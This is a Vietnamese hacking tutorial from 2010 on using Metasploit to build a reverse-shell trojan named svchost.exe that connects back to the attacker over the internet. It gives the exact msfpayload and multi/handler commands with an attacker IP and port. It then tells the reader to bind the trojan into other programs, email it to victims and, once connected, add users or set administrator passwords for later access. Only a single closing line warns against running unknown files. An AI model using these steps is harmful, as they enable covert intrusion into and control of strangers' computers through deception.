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I. Ý tưởng: 
Có nhiều cách để dùng Metasploit xâm nhập một máy tính. Điển hình có thể dùng 

Metasploit để khai thác lỗi một dịch vụ nào đó (ví dụ lỗi DNS hoặc các lỗi tràn bộ đệm …). 
Có một số bạn hỏi tôi tại sao có thể khai thác lỗi DNS qua mạng LAN thì được nhưng khi 
khai thác thông qua internet thì không được. Câu trả lời bởi vì lỗi DNS hoặc các lỗi tương tự 
như khai thác một dịch vụ nào đó thì ít nhất dịch vụ đó phải thỏa điều kiện là dịch vụ đó 
phải được public ra ngoài và không bị chặn bởi Firewall (ở đây chúng ta nói đến cả 2 loại là 
network firewall và local firewall) thì mới có thể dùng shell/bind port để khai thác.

Vậy để khai thác qua internet ta sẽ xâm nhập thế nào? Ở đây sẽ có 2 cách cơ bản 
như sau:

Cách 1: Dùng bind port nhưng dùng dạng này có một khuyết điểm lớn là máy nạn 
nhân phải được public dịch vụ ra ngoài internet và máy tính không dùng firewall. Có đôi 
khi chúng ta gặp trường hợp có thể khai thác bind port thành công nhưng không thể kết 
nối shell được bởi vì sau khi khai thác thành công nhưng ip bên trong là ip local nên shell  
không thể tìm thấy ip của máy bên trong đó nên lúc này shell không thể kết nối vào bên 
trong.

Cách 2: Dùng reverse_tcp để nạn nhân tự kết nối về server (server ở đây là một 
attacker). Ở cách này ta có ưu điểm là ta sử dụng như một trojan để kết nối về máy chủ 
không cần nạn nhân NAT port ra ngoài và có thể bypass cả firewall (nạn nhân tự gửi kết 
nối về server). 

Ý tưởng cho việc khai thác qua Internet:

Ở bài viết này chúng ta sẽ dùng dùng với payload shell/reverse_tcp để có thể 
bypass firewall và dùng metasploit để tạo 1 con trojan, khi bị nhiễm phải sẽ tự kết nối về 
server.

II. Chuẩn bị:
1/  Phía  máy  tấn  công  (attacker)  sử  dụng  windows  hoặc  linux  có  cài  Metasploit 
Framework có thể tải về tại: http://www.metasploit.com/framework/download/ . 

2/ Ở máy attacker ta NAT port 4455 về ip máy mình. Dùng port 4455 để kết nối shell 
về máy mình. Ở đây các bạn có thể dùng port khác. Hoặc có thể setup 1 network 
firewall chỉ mở port 80 và 25. Ta sẽ thử dùng port 25 để kết nối shell về server thông 
qua port 25 này để thử xem có bypass firewall được không.
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3/ Chuẩn bị IP mặt ngoài của mình. Bằng cách vào địa chỉ: ip2location.com hoặc 
ipchicken.com để xem IP mặt ngoài của mình để thiết đặt cho shell có thể kết nối về mình 
theo ip và port 4455. (hình minh họa cho thấy IP mặt ngoài của tôi là 123.20.95.47)
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Vậy là phần chuẩn bị đã xong, bây giờ chúng ta tiến hành khai thác. Việc khai thác 
sẽ bao gồm 4 bước như sau: 

1. Xây dựng shell.

2. Sử dụng module giữ kết nối.

3. Chờ kết nối từ shell.

4. Dụ cho victim thực thi file shell.

III. Khai thác:
1. Build file shell:

Đầu tiên bạn tạo file thực thi (shell) để dụ nạn nhân kết nối về máy chủ bằng lệnh 
msfpayload đặt file shell trong đường dẫn /tmp/svchost.exe (hoặc có thể đặt là 
C:\shell\svchost.exe nếu dùng windows). Theo Cú pháp như sau:

msfpayload windows/shell_reverse_tcp LHOST=123.20.95.47 LPORT=4455 X > /tmp/svchost.exe

Trong đó các thông số thiết lập như sau:

LHOST=123.20.95.47 sẽ  thay  bằng  IP  mặt  ngoài  của  bạn  lấy  từ  trang 
ipchicken.com 

LPORT=4455 sẽ là port của bạn.

svchost.exe là tên file sẽ build ra. Có thể nhập vào tên khác tùy ý.

Hình minh họa:
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(Hình minh họa đã tạo kết nối shell thành công)

2. Sử dụng module multi/handler để giữ kết nối:

Chạy msfconsole sau đó dùng lệnh sau:

use exploit/multi/handler

Hình minh họa
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3. Lắng nghe kết nối từ shell:

Dùng lệnh set payload. Lần lượt thực hiện 5 lệnh như sau:

1 set PAYLOAD windows/shell/reverse_tcp

2 show options

3 set LHOST=123.20.95.47

4 set LPORT=4455

5 exploit

Những dòng chỗ in đậm bạn thay đổi theo đúng thông số của bạn. Sau khi thực hiện 
lệnh exploit bạn sẽ thấy giống như hình sau:
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4. Dụ cho victim thực thi file:

Đến đây có lẽ là bước khó nhất để thực hiện. Để thực hiện việc này bạn có thể 
nhúng shell của mình vào các chương trình khác bằng cách vào google tìm chương trình 
với từ khóa “combine file exe” hoặc “bind file”. Hoặc bạn có thể vào trang này để xem 
hướng dẫn: http://www.online-tech-tips.com/cool-websites/combine-multiple-executables/ 

Tiếp đến gửi email cho nạn nhân với file này. Hehe sau đó ngồi nhâm nhi một 
ly cafe để xem có bao nhiêu nạn nhân “dính chưởng”. 

Giả sử ở đây có 1 em dính chưởng, khi nạn nhân “dính chiêu” thì lập tức shell 
sẽ kết nối về máy mình (hình minh họa) và attacker có thể thực hiện các lệnh như mở 
Remote Desktop, add user hoặc tạo password cho administrator để lần sau remote vào, 
dùng ftp để upload file … có khối công việc để thực hiện, nhưng đó là công việc của bạn 
nhé.
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Game over.

IV. Kết luận:
Qua bài viết chúng ta sẽ thấy một trong số kỹ thuật của hacking cơ bản. Còn muôn 

ngàn “cạm bẫy” xung quanh ta quan trọng nhất là với những dữ liệu nhạy cảm. Vì vậy chỉ 
có một lời khuyên duy nhất: không nên chạy các file không rõ nguồn gốc.

Special Thanks to Mr. Nguyễn Hồ Phi Long.

Alex Hien – v.1 - 09/19/2010
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